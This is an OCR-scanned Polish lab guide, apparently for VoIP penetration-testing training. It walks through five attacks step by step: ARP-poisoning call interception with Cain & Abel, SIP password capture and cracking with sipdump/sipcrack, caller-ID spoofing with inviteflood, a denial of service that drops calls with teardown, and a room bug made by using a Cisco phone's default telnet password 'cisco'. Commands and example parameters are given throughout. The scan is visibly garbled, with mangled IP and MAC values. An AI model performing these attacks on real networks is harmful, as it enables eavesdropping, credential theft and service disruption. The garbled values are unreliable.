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Scenariusz 1: Podstuch rozmow

Narzedzia: Cain & Abel v4.9.40
System: Windows 7 x64

1. Przechwycenie ruchu sieciowego w sieci Ethernet - atak ARP Poisoning

a.

Konfiguracja interfejsu nastuchowego

Configure -> Sniffer -> [wybra¢ urzadzenie sieciowe] -> OK

Konfiguracja ataku APR (wcisng¢ pierwsza ikone na drugiej belce). W wyswietlonym
okienku wybra¢ adres centralki (po lewej) i adresy telefondw (po prawej). Wybor
zatwierdzi¢ przyciskiem OK.
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APR enables you to hijack IP traffic between the selected host on the left list and all selected hostz on the right list in both
directions. If a selected host has routing capabilities WaAN traffic will be intercepted az well. Pleaze note that since your
maching haz not the same perfarmance of a router you could causze DoS if you set APR between your Default G ateway and
all ather hosts on your LAM.

IP address | MAC | Hosthame IP address | MALC | Hosthame
10,200,201 000423630733 1321681.252 0800274BF 114
10.200.20.200 00258 3F ACCOF 192 168.1.51 000D E DECE430
1921821 0800Z7FBEE2Z 192.162.1.50 OMEDACEC2AD
192.168.1.50 O0BDACEC2AD0 10.200.20 200 00256 3F4CCOF
192.168.1.51 000D EDECE430 10.200.201 000423830733

192.168.1.252 0200274BF114
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c¢. Wiaczy¢ tryb nastuchu i atak APR (wcisng¢ ikony 2-3 od lewej)
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2. Przechwycenie rozmowy
a. Nawiazac¢ potaczenie telefoniczne z dowolnego telefonu VoIP w sieci
b. Odstucha¢ przechwycong transmisje. Nalezy wybra¢ gérng zaktadke Sniffer, a
nastepnie dolng VoIP. Nalezy klikng¢ PPM na pliku dzwiekowym i wybra¢ Play.
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Started | Closed | 1P1 (Codeq) | 1P2 (Coded) | Status |

S 25/05/2011 - 16:20:50 | 25/05/2011 - 16:20:56 | 10.200.11.12:10318 (PC... | 10.200.20.201:4004 P.. [ |
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Lost packets: 0%

Scenariusz 2: Uzyskiwanie hasta SIP

Narzedzia: sipdump, sipcrack
System: Backtrack 4 R2

1. Przechwytywanie pakietéw uwierzytelniania telefonu w centralce
root@bt:/pentest/voip/sipcrack# ./sipdump -i ethO pakiety.txt

2. 0Odzyskiwanie hasta z przechwyconych pakietow
root@bt:/pentest/voip/sipcrack# ./sipcrack -w slownik.txt pakiety.txt

Scenariusz 3: Manipulacja protokotem SIP - Spoofing nazwy osoby dzwoniacej

Narzedzia: inviteflood
System: Backtrack 4 R2

Wystanie Zadania potaczenia do telefonu

root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 <nr_ ofiary> <domena ofiary>
<IP_serwera ofiary> 1 -a "<wyswietlona_nazwa>"

Na przyktad:

root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 6000 asterisk 192.168.1.1 1
-a "Evil Hacker"



Scenariusz 4: Atak odmowy obstugi (DoS) - Przerywanie polaczen

Narzedzia: Wireshark, teardown
System: Backtrack 4 R2

1. Przechwycenie pakietéw SIP 200 OK

a. Uruchomienie nastuchu w programie Wireshark
root@bt:~# wireshark

b. Ustawienie filtrowania dla pakietow SIP

Filter: | sip.Status-Code == 200 = Expression.. Clear Apply

c. Pozyskanie identyfikatora potaczenia (Call-ID) oraz znacznikéw (tag) z pdl Fromi To.

MNo. Time Source Destination Protocol Info
51 27.970088 192.168.1.51 192.168.1.1 SIP/SDFStatus: 200 oK, with session ¢
52 27.970336 192.168.1.51 192.168.1.1 SIP/SDFStatus: 200 oK, with session ¢

n

-l session Initiation Protocol
i Status-Line: SIP/2.0 200 OK
-] Message Header
via: SIP/2.0/UDP 192.168.1.1:5060; branch=z9hG4bk06c6d9cE; rport
# From: "Piotr Pawlak" =sip:6001@192.168.1.1>;tag=as560e40a7?
+ To: <5ip:6000@8192.168.1. 51:5060; transport=udp>; tag=000ded6c549002cd46afffc3-695f635e
Call-ID: 38a5e3194e40973a6d3d044025c4f7b2@192.168.1.1

2. Uruchomienie programu teardown, ktdry roziaczy uzytkownika telefonu w czasie rozmowy,
wysyltajac pakiet BYE.
Sktadnia:
./teardown ethO rozszerzenie domena IP centralki CallID FromTag ToTag
Przyktad uzycia:
root@bt:/pentest/voip/teardown# ./teardown ethO0 6000 asterisk 192.168.1.1

38a5e3194e40973a6d3d044025¢c4£7b2@192.168.1.1 as560e40a7 000ded6c549002cd46afffc3-
695£635e

Scenariusz 5: Podstuch pomieszczenia - kontrola telefonu przez telnet

Narzedzia: klient telnet
System: Cisco 10S

1. Zalogowanie na telefon klientem telnet przy uzyciu domys$lnego hasta telefonu
telnet 192.168.1.50
Password: cisco
2. Rozpoczgé procedure testowa
test open
3. Podnies$¢ stuchawke telefonu wykonujac polecenie
test offhook

4. Zadzwonic¢ na drugi telefon (podstuchiwacza) wykonujac polecenie
test key 6000



